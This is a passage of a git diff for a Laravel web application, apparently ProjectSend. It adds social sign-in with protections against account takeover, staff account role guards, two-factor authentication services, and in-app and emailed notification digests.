'sub'), + 'nickname' => Arr::get($user, 'preferred_username'), + 'name' => Arr::get($user, 'name') ?? trim( + (string) Arr::get($user, 'given_name').' '.(string) Arr::get($user, 'family_name') + ), + 'email' => Arr::get($user, 'email'), + 'avatar' => Arr::get($user, 'picture'), + ]); + } +} diff --git a/app/Modules/Identity/Social/SocialAccount.php b/app/Modules/Identity/Social/SocialAccount.php new file mode 100644 index 00000000..33463c74 --- /dev/null +++ b/app/Modules/Identity/Social/SocialAccount.php @@ -0,0 +1,62 @@ + SocialProvider::class, + ]; + } + + /** + * @return BelongsTo + */ + public function user(): BelongsTo + { + return $this->belongsTo(User::class); + } + + /** + * The account this identity signs in as, or null. + * + * The subject, never the email. A provider that lets somebody change + * their address — most of them — must not thereby change which + * account they land on. + */ + public static function resolve(SocialIdentity $identity): ?User + { + return static::query() + ->where('provider', $identity->provider->value) + ->where('provider_user_id', $identity->subject) + ->first()?->user; + } +} diff --git a/app/Modules/Identity/Social/SocialAuthenticator.php b/app/Modules/Identity/Social/SocialAuthenticator.php new file mode 100644 index 00000000..dd342ec7 --- /dev/null +++ b/app/Modules/Identity/Social/SocialAuthenticator.php @@ -0,0 +1,169 @@ +usable()) { + return SocialResolution::refuse(__('That sign-in method is not available.')); + } + + // 2. Nothing here can be keyed on an identity with no address. + if ($identity->email === null) { + return SocialResolution::refuse( + __(':provider did not provide an email address, which is required to sign in.', [ + 'provider' => $settings->provider->label(), + ]) + ); + } + + if (! $settings->allowsDomain($identity->email)) { + return SocialResolution::refuse( + __('Accounts at :domain cannot sign in with :provider here.', [ + 'domain' => substr($identity->email, (int) strrpos($identity->email, '@') + 1), + 'provider' => $settings->provider->label(), + ]) + ); + } + + // 3. An existing link. The subject, not the address — so somebody + // who changes their email at the provider still lands on their + // own account, and somebody who changes it *to yours* does not + // land on yours. + $linked = SocialAccount::resolve($identity); + + if ($linked !== null) { + $this->refreshLink($identity); + + return SocialResolution::existing($linked); + } + + // Whether this provider's word on the address is good enough to + // act on. `require_verified_email` off is an administrator + // explicitly accepting that it is not — the escape hatch for a + // directory that omits the claim. + $trusted = $identity->emailVerified || ! $settings->require_verified_email; + + $existing = User::query()->where('email', $identity->email)->first(); + + if ($existing !== null) { + // 4/5. The takeover, refused. An unverified address may not + // reach an account that already exists — of any type, but + // note that an administrator's is the interesting case. + if (! $trusted) { + return SocialResolution::refuse( + __('An account already uses this email address, and :provider did not confirm that you own it. Sign in with your password and connect :provider from your settings instead.', [ + 'provider' => $settings->provider->label(), + ]) + ); + } + + return $this->link($existing, $identity) === null + ? SocialResolution::refuse(__('That sign-in method is not available.')) + : SocialResolution::linked($existing); + } + + // 6. Nobody here at all. + $provisioned = $this->provisioner->provision( + $settings, + $identity, + // An address nobody vouched for can still become a *new* + // account — it takes nothing over — but it goes to the + // approval queue whatever auto_approve says, so a person sees + // it before it becomes access. + autoApprove: $trusted && $settings->auto_approve, + ); + + if ($provisioned === null) { + return SocialResolution::refuse(__('There is no account here for that address.')); + } + + $this->link($provisioned, $identity); + + return SocialResolution::provisioned($provisioned); + } + + /** + * Bind an identity to an account, deliberately and once. + * + * Also reachable from the Connected accounts screen, where the person + * is already signed in and the address plays no part at all — which + * is the safest way to connect a provider that cannot verify one. + * + * Returns null when this identity already belongs to somebody else. + * Moving it would not hand over their account, since whoever holds + * the identity can already use it, but silently detaching another + * person's sign-in method is not something a login flow should do + * without saying so. + */ + public function link(User $user, SocialIdentity $identity): ?SocialAccount + { + $boundElsewhere = SocialAccount::query() + ->where('provider', $identity->provider->value) + ->where('provider_user_id', $identity->subject) + ->where('user_id', '!=', $user->getKey()) + ->exists(); + + if ($boundElsewhere) { + return null; + } + + // Keyed on the account and provider, so reconnecting a different + // Google account replaces the old row rather than colliding with + // the one-link-per-provider constraint. + /** @var SocialAccount */ + return SocialAccount::query()->updateOrCreate( + [ + 'user_id' => $user->getKey(), + 'provider' => $identity->provider->value, + ], + [ + 'provider_user_id' => $identity->subject, + 'email' => $identity->email, + ], + ); + } + + /** + * Keep the displayed address current without letting it mean + * anything: this is what the Connected accounts screen shows, not + * what any decision is made on. + */ + private function refreshLink(SocialIdentity $identity): void + { + SocialAccount::query() + ->where('provider', $identity->provider->value) + ->where('provider_user_id', $identity->subject) + ->update(['email' => $identity->email, 'updated_at' => now()]); + } +} diff --git a/app/Modules/Identity/Social/SocialGateway.php b/app/Modules/Identity/Social/SocialGateway.php new file mode 100644 index 00000000..c301f7f4 --- /dev/null +++ b/app/Modules/Identity/Social/SocialGateway.php @@ -0,0 +1,36 @@ +getRaw(); + + $subject = trim((string) $user->getId()); + + // No stable subject means nothing to bind an account to, and the + // email is not an acceptable substitute. Refuse rather than fall + // back — falling back is the bug. + if ($subject === '') { + return null; + } + + $email = $user->getEmail(); + $email = is_string($email) && trim($email) !== '' ? trim($email) : null; + + return new self( + provider: $provider, + subject: $subject, + email: $email, + emailVerified: $email !== null && match ($provider) { + SocialProvider::Google, + SocialProvider::LinkedIn, + SocialProvider::Oidc => ($raw['email_verified'] ?? false) === true + || ($raw['email_verified'] ?? null) === 'true', + SocialProvider::Github => true, + SocialProvider::Microsoft => is_string($settings->tenant_id) + && ($raw['tid'] ?? null) === $settings->tenant_id, + SocialProvider::Facebook => false, + }, + name: is_string($user->getName()) && trim($user->getName()) !== '' + ? trim($user->getName()) + : ($user->getNickname() ?: $email), + ); + } +} diff --git a/app/Modules/Identity/Social/SocialProvider.php b/app/Modules/Identity/Social/SocialProvider.php new file mode 100644 index 00000000..ad16c0cc --- /dev/null +++ b/app/Modules/Identity/Social/SocialProvider.php @@ -0,0 +1,109 @@ + 'Google', + self::Microsoft => 'Microsoft', + self::Facebook => 'Facebook', + self::LinkedIn => 'LinkedIn', + self::Github => 'GitHub', + self::Oidc => 'OpenID Connect', + }; + } + + /** + * Whether this case is served by our own discovery-driven OIDC + * provider rather than one of Socialite's. + * + * Microsoft Entra is an OpenID Connect server like any other, so it + * gets the same implementation with its issuer built from the tenant. + * That avoids a socialiteproviders/* dependency for a protocol we + * already speak, and it is what lets `tid` be read at all. + */ + public function speaksOidc(): bool + { + return $this === self::Microsoft || $this === self::Oidc; + } + + /** + * @return class-string + */ + public function driver(): string + { + return match ($this) { + self::Google => GoogleProvider::class, + self::Facebook => FacebookProvider::class, + self::LinkedIn => LinkedInOpenIdProvider::class, + self::Github => GithubProvider::class, + self::Microsoft, self::Oidc => OidcProvider::class, + }; + } + + /** Generic OIDC is configured entirely by its discovery document. */ + public function needsIssuerUrl(): bool + { + return $this === self::Oidc; + } + + /** + * Microsoft, and only Microsoft, requires a tenant — see + * SocialIdentity for why that is a security control rather than a + * convenience. + */ + public function needsTenantId(): bool + { + return $this === self::Microsoft; + } + + /** + * Whether this provider can ever tell us an address was verified. + * + * False here does not disable the provider; it means the address can + * never be used to reach an *existing* account while + * `require_verified_email` is on. The settings screen says so on the + * card, because an administrator who does not know this will read the + * checkbox as doing nothing. + */ + public function canReportVerifiedEmail(): bool + { + return $this !== self::Facebook; + } + + /** The URI to register with the provider. Shown on the settings card. */ + public function redirectUri(): string + { + return route('social.callback', ['provider' => $this->value]); + } +} diff --git a/app/Modules/Identity/Social/SocialProvisioner.php b/app/Modules/Identity/Social/SocialProvisioner.php new file mode 100644 index 00000000..5229d240 --- /dev/null +++ b/app/Modules/Identity/Social/SocialProvisioner.php @@ -0,0 +1,62 @@ +auto_provision || $identity->email === null) { + return null; + } + + return $this->clients->provision( + name: $identity->name ?? $identity->email, + email: $identity->email, + // A password they will never use and never learn: this account + // signs in through the provider. Generated rather than left + // null so nothing downstream has to special-case an empty + // hash, and it is why promoting one to staff requires setting + // a real password — see AccountConversion::requiresNewPassword(). + password: Str::password(64), + action: Action::SocialClientProvisioned, + source: AuthSource::Social, + autoApprove: $autoApprove, + context: ['provider' => $settings->provider->label()], + ); + } +} diff --git a/app/Modules/Identity/Social/SocialResolution.php b/app/Modules/Identity/Social/SocialResolution.php new file mode 100644 index 00000000..2266b721 --- /dev/null +++ b/app/Modules/Identity/Social/SocialResolution.php @@ -0,0 +1,48 @@ + false, + 'require_verified_email' => true, + 'auto_provision' => false, + 'auto_approve' => false, + ]; + + protected function casts(): array + { + return [ + 'provider' => SocialProvider::class, + 'enabled' => 'boolean', + 'client_secret' => 'encrypted', + 'require_verified_email' => 'boolean', + 'auto_provision' => 'boolean', + 'auto_approve' => 'boolean', + ]; + } + + public static function for(SocialProvider $provider): self + { + return static::query()->firstOrNew(['provider' => $provider->value]); + } + + /** + * Every provider, configured or not, in enum order — so the settings + * screen always renders the same cards and a provider added to the + * enum needs no seeding. + * + * @return array + */ + public static function allProviders(): array + { + $stored = static::query()->get()->keyBy(fn (self $row): string => $row->provider->value); + + $rows = []; + + foreach (SocialProvider::cases() as $provider) { + $rows[$provider->value] = $stored->get($provider->value) ?? static::for($provider); + } + + return $rows; + } + + /** + * The providers a visitor can actually see, as the sign-in buttons and + * the Connected accounts screen need them. + * + * Cached because this is read on every request through Inertia's + * shared props, and flushed on save. Only the key and the label — no + * secret is ever written to the cache store, which is the mistake + * MailConfigApplier and ExternalStorageConfigApplier both make with + * their own credentials. + * + * @return list + */ + public static function available(): array + { + /** @var list */ + return Cache::rememberForever(self::AVAILABLE_CACHE_KEY, function (): array { + $available = []; + + foreach (self::allProviders() as $key => $settings) { + if ($settings->usable()) { + $available[] = ['provider' => $key, 'label' => $settings->provider->label()]; + } + } + + return $available; + }); + } + + protected static function booted(): void + { + // Any write to this table can change the button row, including one + // that turns a provider off. + static::saved(fn () => Cache::forget(self::AVAILABLE_CACHE_KEY)); + static::deleted(fn () => Cache::forget(self::AVAILABLE_CACHE_KEY)); + } + + /** + * Whether a sign-in may use this provider at all. + * + * Incomplete configuration behaves exactly as "switched off" rather + * than throwing halfway through a redirect — the same rule + * LdapSettings::usable() follows, and for the same reason: an + * administrator can save a half-filled form. + */ + public function usable(): bool + { + if (! $this->enabled) { + return false; + } + + if (! $this->filled('client_id') || ! $this->filled('client_secret')) { + return false; + } + + if ($this->provider->needsIssuerUrl() && ! $this->filled('issuer_url')) { + return false; + } + + if ($this->provider->needsTenantId() && ! $this->filled('tenant_id')) { + return false; + } + + return true; + } + + /** + * The issuer whose discovery document describes this provider. + * + * Microsoft's is derived from the tenant, which is what makes the + * tenant a security control: the login endpoint we talk to is the + * tenant's own, so a token minted by any other tenant cannot arrive + * here at all. + */ + public function issuer(): ?string + { + return match ($this->provider) { + SocialProvider::Microsoft => $this->filled('tenant_id') + ? 'https://login.microsoftonline.com/'.$this->tenant_id.'/v2.0' + : null, + SocialProvider::Oidc => $this->filled('issuer_url') ? rtrim((string) $this->issuer_url, '/') : null, + default => null, + }; + } + + /** + * Whether an address is inside this provider's allow-list. + * + * Blank means any, which is the default. A public Google client with + * auto-provisioning and no list here means the whole internet can + * create an account — v1 had no equivalent and no way to say + * otherwise. + */ + public function allowsDomain(string $email): bool + { + $domains = $this->allowedDomains(); + + if ($domains === []) { + return true; + } + + $at = strrpos($email, '@'); + + if ($at === false) { + return false; + } + + return in_array(Str::lower(substr($email, $at + 1)), $domains, true); + } + + /** + * @return list + */ + public function allowedDomains(): array + { + $domains = array_map( + fn (string $domain): string => Str::lower(trim(ltrim(trim($domain), '@'))), + explode(',', (string) $this->allowed_domains), + ); + + return array_values(array_filter($domains, fn (string $domain): bool => $domain !== '')); + } + + private function filled(string $attribute): bool + { + $value = $this->getAttribute($attribute); + + return is_string($value) && trim($value) !== ''; + } +} diff --git a/app/Modules/Identity/Social/SocialiteGateway.php b/app/Modules/Identity/Social/SocialiteGateway.php new file mode 100644 index 00000000..e04b0687 --- /dev/null +++ b/app/Modules/Identity/Social/SocialiteGateway.php @@ -0,0 +1,104 @@ +driver($settings)->redirect(); + } + + public function identity(SocialSettings $settings): ?SocialIdentity + { + try { + $user = $this->driver($settings)->user(); + } catch (Throwable $e) { + // Never the message: a provider's error text can carry the + // address that was attempted, and this is written on an + // unauthenticated request. The class is enough to tell a + // state mismatch from a dead token endpoint. + Log::warning('Social login failed.', [ + 'provider' => $settings->provider->value, + 'exception' => $e::class, + ]); + + return null; + } + + // Socialite's contract does not expose getRaw(), and the raw claims + // are where `email_verified` and `tid` live — the two things this + // whole feature turns on. Every provider returns the concrete + // class; refuse rather than guess if one ever does not. + if (! $user instanceof AbstractUser) { + return null; + } + + return SocialIdentity::fromSocialite($settings->provider, $user, $settings); + } + + private function driver(SocialSettings $settings): AbstractProvider + { + $provider = $settings->provider; + + // Resolved per call, never held: a Socialite provider reads the + // current request's `code` and `state`, and writes to the current + // session. Holding the request the gateway was built with would + // make the object correct exactly once. + $request = app(Request::class); + + if ($provider->speaksOidc()) { + $issuer = $settings->issuer(); + + // usable() has already established this, but the type system + // has not. + if ($issuer === null) { + throw new \RuntimeException('This provider has no issuer configured.'); + } + + return new OidcProvider( + $request, + (string) $settings->client_id, + (string) $settings->client_secret, + $provider->redirectUri(), + $this->discovery->for($issuer), + ); + } + + /** @var AbstractProvider $driver */ + $driver = Socialite::buildProvider($provider->driver(), [ + 'client_id' => (string) $settings->client_id, + 'client_secret' => (string) $settings->client_secret, + 'redirect' => $provider->redirectUri(), + ]); + + return $driver; + } +} diff --git a/app/Modules/Identity/StaffAccounts.php b/app/Modules/Identity/StaffAccounts.php new file mode 100644 index 00000000..c464f699 --- /dev/null +++ b/app/Modules/Identity/StaffAccounts.php @@ -0,0 +1,299 @@ +role?->is_administrator === true) { + return true; + } + + if ($role->is_administrator) { + return false; + } + + $held = $this->permissions->grantedKeys($actor); + $granting = $role->permissions()->pluck('permission')->all(); + + return array_diff($granting, $held) === []; + } + + /** + * Staff-assignable roles: everything except the Client system role, + * narrowed to what this actor may actually grant. + * + * @return Collection + */ + public function assignableRoles(User $actor): Collection + { + return Role::query() + ->where('name', '!=', SystemRole::Client->value) + ->orderByDesc('is_administrator') + ->orderByDesc('is_system') + ->orderBy('name') + ->get() + ->filter(fn (Role $role): bool => $this->mayGrant($actor, $role)) + ->values(); + } + + /** + * @return list + */ + public function assignableRoleIds(User $actor): array + { + return array_values($this->assignableRoles($actor)->map(fn (Role $role): int => $role->id)->all()); + } + + /** + * The same rule applied to an existing account: if the actor could not + * grant the target's role, they have no business editing or deleting + * that account either. Without this, a non-administrator holding + * manage_users could still rename, deactivate or delete an + * administrator — the role picker would refuse the role, but everything + * around it would go through. + */ + public function guardTarget(User $actor, User $target): void + { + if ($target->is($actor)) { + return; + } + + $role = $target->role; + + abort_unless($role === null || $this->mayGrant($actor, $role), 403); + } + + /** + * Refuse any change that would leave the installation without an + * active administrator. + */ + public function guardLastAdministrator(User $user, bool $removesAdmin): void + { + if (! $removesAdmin || ! $user->active) { + return; + } + + $otherActiveAdmins = User::query() + ->whereKeyNot($user->id) + ->where('active', true) + ->whereHas('role', fn ($query) => $query->where('is_administrator', true)) + ->exists(); + + if (! $otherActiveAdmins) { + throw ValidationException::withMessages([ + 'role_id' => __('This is the last active administrator account.'), + ]); + } + } + + public function isAdministratorRole(?int $roleId): bool + { + return $roleId !== null + && Role::query()->whereKey($roleId)->where('is_administrator', true)->exists(); + } + + /** + * How many staff are active administrators right now — used to flag + * the sole one in the UI so its delete/demote/deactivate controls + * can be disabled before the server-side guard ever has to fire. + */ + public function activeAdministratorCount(): int + { + return User::query() + ->where('type', UserType::Staff) + ->where('active', true) + ->whereHas('role', fn ($query) => $query->where('is_administrator', true)) + ->count(); + } + + /** + * @param array{name: string, email: string, role_id: int, password: string} $attributes + * @param list $assignedClients + */ + public function create(array $attributes, array $assignedClients = []): User + { + $user = User::create([ + 'type' => UserType::Staff, + 'active' => true, + 'role_id' => $attributes['role_id'], + 'name' => $attributes['name'], + 'email' => $attributes['email'], + 'password' => $attributes['password'], + ]); + + // forceFill, not part of the create() array above: email_verified_at + // is deliberately absent from User::$fillable — it is a security + // decision, not an attribute — so mass assignment drops it silently. + // The intent is real: an account an administrator created on + // someone's behalf needs no verification step, because they vouched + // for the address by typing it, and the alternative is a new hire + // who cannot sign in. (Inert today, since MustVerifyEmail is not + // enabled on the model; several other creation paths pass the same + // key into a mass assignment and lose it the same way.) + $user->forceFill(['email_verified_at' => now()])->save(); + + $this->syncAssignedClients($user, $attributes['role_id'], $assignedClients); + + $this->activity->log(Action::UserCreated, subject: $user); + + return $user; + } + + /** + * Apply a set of already-validated changes. + * + * Every key is optional, so a PATCH sending one field behaves the same + * as a form sending all of them: whatever is absent keeps its current + * value, including for the last-administrator guard, which has to + * reason about the state the account would end up in rather than the + * state the request happened to mention. + * + * @param array{name?: string, email?: string, role_id?: int, active?: bool, password?: string} $attributes + * @param list|null $assignedClients null leaves the assignment alone + */ + public function update(User $user, array $attributes, ?array $assignedClients = null): User + { + $roleId = $attributes['role_id'] ?? $user->role_id; + $active = $attributes['active'] ?? $user->active; + + $this->guardLastAdministrator( + $user, + removesAdmin: $this->isAdministratorRole($user->role_id) + && (! $this->isAdministratorRole($roleId) || ! $active), + ); + + $wasActive = $user->active; + $oldRoleId = $user->role_id; + $oldRoleName = $user->role?->name; + + $user->fill(array_intersect_key($attributes, array_flip(['name', 'email', 'role_id', 'active']))); + + if (is_string($attributes['password'] ?? null) && $attributes['password'] !== '') { + $user->password = $attributes['password']; + } + + $user->save(); + + if ($assignedClients !== null) { + $this->syncAssignedClients($user, (int) $user->role_id, $assignedClients); + } elseif ($oldRoleId !== $user->role_id) { + // The role moved but the caller said nothing about clients. A + // role that is not client-scoped must not keep a stale roster, + // so re-run the sync with what is already stored and let it + // decide. + $this->syncAssignedClients( + $user, + (int) $user->role_id, + array_values($user->assignedClients()->pluck('users.id')->map(fn ($id): int => (int) $id)->all()), + ); + } + + $context = []; + if ($oldRoleId !== $user->role_id) { + $user->load('role'); + $context['role'] = ['from' => $oldRoleName, 'to' => $user->role?->name]; + } + + $this->activity->log(Action::UserUpdated, subject: $user, context: $context); + + if ($wasActive && ! $user->active) { + $this->activity->log(Action::UserDeactivated, subject: $user); + } elseif (! $wasActive && $user->active) { + $this->activity->log(Action::UserActivated, subject: $user); + } + + return $user; + } + + /** + * Every refusal that applies to deleting a staff account, in the order + * the screens ask them. + */ + public function guardDeletable(User $actor, User $target): void + { + $this->guardTarget($actor, $target); + + if ($target->is($actor)) { + throw ValidationException::withMessages([ + 'user' => __('You cannot delete your own account.'), + ]); + } + + $this->guardLastAdministrator($target, removesAdmin: $this->isAdministratorRole($target->role_id)); + } + + /** + * Soft-delete the account and record it. Returns the name, which the + * caller needs afterwards for the content-reassignment step — by then + * the model is trashed and reading it back is needless ceremony. + */ + public function delete(User $user): string + { + $name = $user->name; + + $user->delete(); + + $this->activity->log(Action::UserDeleted, context: ['name' => $name]); + + return $name; + } + + /** + * Sync a staff member's assigned clients — but only for a client-scoped + * role; any other role clears the list. + * + * @param list $clientIds + */ + public function syncAssignedClients(User $user, int $roleId, array $clientIds): void + { + $scoped = Role::query()->whereKey($roleId)->where('client_scoped', true)->exists(); + + $user->assignedClients()->sync($scoped ? $clientIds : []); + } +} diff --git a/app/Modules/Identity/TwoFactor/TwoFactorAdministration.php b/app/Modules/Identity/TwoFactor/TwoFactorAdministration.php new file mode 100644 index 00000000..77e00f84 --- /dev/null +++ b/app/Modules/Identity/TwoFactor/TwoFactorAdministration.php @@ -0,0 +1,68 @@ +twoFactor->clear($target)) { + return false; + } + + $this->activity->log(Action::TwoFactorReset, subject: $target); + + if ($this->settings->get(Setting::EmailNotificationsEnabled) === true) { + $target->notify(new TwoFactorResetNotification); + } + + return true; + } +} diff --git a/app/Modules/Identity/TwoFactor/TwoFactorEnforcement.php b/app/Modules/Identity/TwoFactor/TwoFactorEnforcement.php new file mode 100644 index 00000000..ef03c16b --- /dev/null +++ b/app/Modules/Identity/TwoFactor/TwoFactorEnforcement.php @@ -0,0 +1,25 @@ + false, + self::Staff => $type === UserType::Staff, + self::Clients => $type === UserType::Client, + self::All => true, + }; + } +} diff --git a/app/Modules/Identity/TwoFactor/TwoFactorService.php b/app/Modules/Identity/TwoFactor/TwoFactorService.php new file mode 100644 index 00000000..073869ac --- /dev/null +++ b/app/Modules/Identity/TwoFactor/TwoFactorService.php @@ -0,0 +1,131 @@ +engine->generateSecretKey(); + } + + /** + * Strip every second-factor credential from an account, whether it + * was fully enrolled or halfway through enrolling. Returns whether a + * confirmed second factor was actually in force — the caller needs + * that to decide if anything worth recording happened. + */ + public function clear(User $user): bool + { + $wasEnabled = $user->hasTwoFactorEnabled(); + + $user->forceFill([ + 'two_factor_secret' => null, + 'two_factor_recovery_codes' => null, + 'two_factor_confirmed_at' => null, + ])->save(); + + return $wasEnabled; + } + + /** + * Verify a TOTP code, refusing replays of a recently used code. + */ + public function verify(User $user, string $code): bool + { + $secret = $user->two_factor_secret; + + if ($secret === null) { + return false; + } + + $replayKey = "two-factor.used.{$user->id}.".hash('sha256', $code); + + if (Cache::has($replayKey)) { + return false; + } + + if ($this->engine->verifyKey($secret, $code) === false) { + return false; + } + + // A TOTP code is valid for one window either side; block reuse + // for slightly longer than that. + Cache::put($replayKey, true, now()->addSeconds(90)); + + return true; + } + + /** + * The otpauth:// provisioning URI encoded as an inline SVG QR code. + */ + public function qrCodeSvg(User $user, string $secret): string + { + $siteName = $this->settings->get(Setting::SiteName); + $siteName = is_string($siteName) ? $siteName : 'ProjectSend'; + + $uri = $this->engine->getQRCodeUrl($siteName, $user->email, $secret); + + $svg = (new Writer( + new ImageRenderer( + new RendererStyle(192, 0, null, null, Fill::uniformColor(new Rgb(255, 255, 255), new Rgb(45, 55, 72))), + new SvgImageBackEnd, + ), + ))->writeString($uri); + + return trim(substr($svg, strpos($svg, "\n") ?: 0)); + } + + /** + * @return list + */ + public function generateRecoveryCodes(): array + { + $codes = []; + + for ($i = 0; $i < 8; $i++) { + $codes[] = Str::random(10).'-'.Str::random(10); + } + + return $codes; + } + + /** + * Consume a recovery code; each code works exactly once. + */ + public function consumeRecoveryCode(User $user, string $code): bool + { + /** @var list|null $codes */ + $codes = $user->two_factor_recovery_codes; + + if ($codes === null || ! in_array($code, $codes, true)) { + return false; + } + + $user->forceFill([ + 'two_factor_recovery_codes' => array_values(array_diff($codes, [$code])), + ])->save(); + + return true; + } +} diff --git a/app/Modules/Identity/UserType.php b/app/Modules/Identity/UserType.php new file mode 100644 index 00000000..293c17da --- /dev/null +++ b/app/Modules/Identity/UserType.php @@ -0,0 +1,18 @@ +user(); + assert($user !== null); + + // Only types that can email at all have anything to opt in or out + // of — a pure in-app type has no toggle to show. Either route + // counts: Notifier sending a mail class directly, or the digest + // buffering and sending one. + $emailable = array_values(array_filter( + $this->types->all(), + fn ($type) => $type->mailNotification !== null || $type->digestMail !== null, + )); + + return Inertia::render('settings/notifications', [ + 'types' => array_map(fn ($type) => [ + 'key' => $type->key, + 'label' => $type->label, + 'email_enabled' => $this->preferences->emailEnabledFor($user, $type), + ], $emailable), + ]); + } + + public function update(Request $request): RedirectResponse + { + $user = $request->user(); + assert($user !== null); + + $validated = $request->validate([ + 'preferences' => ['required', 'array'], + 'preferences.*.type' => ['required', 'string'], + 'preferences.*.email_enabled' => ['required', 'boolean'], + ]); + + foreach ($validated['preferences'] as $preference) { + NotificationPreference::query()->updateOrCreate( + ['user_id' => $user->id, 'type' => $preference['type']], + ['email_enabled' => $preference['email_enabled']], + ); + } + + return back(); + } +} diff --git a/app/Modules/Notifications/Http/Controllers/NotificationsController.php b/app/Modules/Notifications/Http/Controllers/NotificationsController.php new file mode 100644 index 00000000..8da412a9 --- /dev/null +++ b/app/Modules/Notifications/Http/Controllers/NotificationsController.php @@ -0,0 +1,144 @@ +user(); + assert($user !== null); + + $entries = InAppNotification::query() + ->where('user_id', $user->id) + ->orderByDesc('created_at') + ->paginate(25); + + return Inertia::render('notifications/index', [ + 'entries' => $entries->getCollection()->map(fn (InAppNotification $entry): array => $this->present($entry))->all(), + 'pagination' => [ + 'page' => $entries->currentPage(), + 'last_page' => $entries->lastPage(), + 'prev' => $entries->previousPageUrl(), + 'next' => $entries->nextPageUrl(), + 'total' => $entries->total(), + ], + ]); + } + + /** + * Plain JSON for the bell dropdown — a widget mounted across every + * page, not owned by one, so it fetches directly rather than riding + * an Inertia page visit. + */ + public function recent(Request $request): JsonResponse + { + $user = $request->user(); + assert($user !== null); + + $entries = InAppNotification::query() + ->where('user_id', $user->id) + ->orderByDesc('created_at') + ->limit(8) + ->get(); + + return response()->json([ + 'entries' => $entries->map(fn (InAppNotification $entry): array => $this->present($entry))->all(), + ]); + } + + public function unreadCount(Request $request): JsonResponse + { + $user = $request->user(); + assert($user !== null); + + $count = InAppNotification::query() + ->where('user_id', $user->id) + ->whereNull('read_at') + ->count(); + + return response()->json(['count' => $count]); + } + + public function markRead(Request $request, InAppNotification $notification): JsonResponse|RedirectResponse + { + Gate::authorize('update', $notification); + + $notification->update(['read_at' => now()]); + + return $request->wantsJson() ? response()->json(['ok' => true]) : back(); + } + + public function markUnread(Request $request, InAppNotification $notification): JsonResponse|RedirectResponse + { + Gate::authorize('update', $notification); + + $notification->update(['read_at' => null]); + + return $request->wantsJson() ? response()->json(['ok' => true]) : back(); + } + + public function markAllRead(Request $request): JsonResponse|RedirectResponse + { + $user = $request->user(); + assert($user !== null); + + InAppNotification::query() + ->where('user_id', $user->id) + ->whereNull('read_at') + ->update(['read_at' => now()]); + + return $request->wantsJson() ? response()->json(['ok' => true]) : back(); + } + + /** + * @return array + */ + private function present(InAppNotification $entry): array + { + $type = $this->types->get($entry->type); + $data = $entry->data ?? []; + + return [ + 'id' => $entry->id, + 'created_at' => $entry->created_at->toIso8601String(), + 'read_at' => $entry->read_at?->toIso8601String(), + 'template' => $type->template ?? $entry->type, + 'replacements' => $this->replacements($data), + 'url' => $type?->url !== null ? ($type->url)($data) : null, + ]; + } + + /** + * @param array $data + * @return array + */ + private function replacements(array $data): array + { + $replacements = []; + + foreach ($data as $key => $value) { + if (is_scalar($value)) { + $replacements[$key] = (string) $value; + } + } + + return $replacements; + } +} diff --git a/app/Modules/Notifications/InAppNotification.php b/app/Modules/Notifications/InAppNotification.php new file mode 100644 index 00000000..e55fad83 --- /dev/null +++ b/app/Modules/Notifications/InAppNotification.php @@ -0,0 +1,63 @@ +|null $data + * @property Carbon|null $read_at + * @property Carbon $created_at + */ +class InAppNotification extends Model +{ + protected $table = 'notifications'; + + // Immutable except read_at: created_at only, written explicitly by + // Notifier — same convention as ActivityLog. + public $timestamps = false; + + protected $guarded = []; + + protected function casts(): array + { + return [ + 'data' => 'json', + 'read_at' => 'datetime', + 'created_at' => 'datetime', + ]; + } + + /** + * @return BelongsTo + */ + public function user(): BelongsTo + { + return $this->belongsTo(User::class); + } + + /** + * @return MorphTo + */ + public function subject(): MorphTo + { + return $this->morphTo(); + } +} diff --git a/app/Modules/Notifications/InAppNotificationPolicy.php b/app/Modules/Notifications/InAppNotificationPolicy.php new file mode 100644 index 00000000..56d96ed6 --- /dev/null +++ b/app/Modules/Notifications/InAppNotificationPolicy.php @@ -0,0 +1,26 @@ +user_id === $user->id; + } + + public function update(User $user, InAppNotification $notification): bool + { + return $notification->user_id === $user->id; + } +} diff --git a/app/Modules/Notifications/Jobs/SendNotificationDigest.php b/app/Modules/Notifications/Jobs/SendNotificationDigest.php new file mode 100644 index 00000000..56bada1e --- /dev/null +++ b/app/Modules/Notifications/Jobs/SendNotificationDigest.php @@ -0,0 +1,92 @@ +get($this->typeKey); + + if ($type?->digestMail === null) { + return; + } + + // Locked and deleted inside a transaction, before anything is + // sent — sending is itself queued, so it must happen after this + // commits rather than from inside it. + $items = DB::transaction(function (): ?Collection { + $pending = PendingNotification::query() + ->where('user_id', $this->userId) + ->where('type', $this->typeKey) + ->lockForUpdate() + ->orderBy('id') + ->get(); + + if ($pending->isEmpty()) { + return null; + } + + PendingNotification::query()->whereIn('id', $pending->pluck('id'))->delete(); + + return $pending; + }); + + if ($items === null || $items->isEmpty()) { + return; + } + + $user = User::query()->find($this->userId); + + if ($user === null) { + return; + } + + if ($items->count() === 1 || $type->digestMailMany === null) { + /** @var PendingNotification $item */ + $item = $items->first(); + + // Each single-item mail class exposes from(), because the row + // carries its payload in a generic `context` and only that + // class knows how to read its own. + $user->notify($type->digestMail::from($item)); + + return; + } + + $user->notify(new $type->digestMailMany(array_values($items->all()))); + } +} diff --git a/app/Modules/Notifications/NotificationDigester.php b/app/Modules/Notifications/NotificationDigester.php new file mode 100644 index 00000000..23d55c7f --- /dev/null +++ b/app/Modules/Notifications/NotificationDigester.php @@ -0,0 +1,79 @@ + $recipients Already permission-checked by the caller. + * @param array $context Whatever the mail class needs. + */ + public function queue(string $typeKey, iterable $recipients, string $subjectName, array $context = []): void + { + $type = $this->types->get($typeKey); + + if ($type?->digestMail === null) { + return; + } + + if ($this->settings->get(Setting::EmailNotificationsEnabled) !== true) { + return; + } + + foreach ($recipients as $recipient) { + if (! $this->preferences->emailEnabledFor($recipient, $type)) { + continue; + } + + PendingNotification::query()->create([ + 'user_id' => $recipient->getKey(), + 'type' => $type->key, + 'subject_name' => $subjectName, + 'context' => $context === [] ? null : $context, + ]); + + SendNotificationDigest::dispatch($recipient->getKey(), $type->key) + ->delay(now()->addSeconds(self::DEBOUNCE_SECONDS)); + } + } +} diff --git a/app/Modules/Notifications/NotificationPreference.php b/app/Modules/Notifications/NotificationPreference.php new file mode 100644 index 00000000..da509e74 --- /dev/null +++ b/app/Modules/Notifications/NotificationPreference.php @@ -0,0 +1,42 @@ + 'bool', + ]; + } + + /** + * @return BelongsTo + */ + public function user(): BelongsTo + { + return $this->belongsTo(User::class); + } +} diff --git a/app/Modules/Notifications/NotificationPreferences.php b/app/Modules/Notifications/NotificationPreferences.php new file mode 100644 index 00000000..20e98a51 --- /dev/null +++ 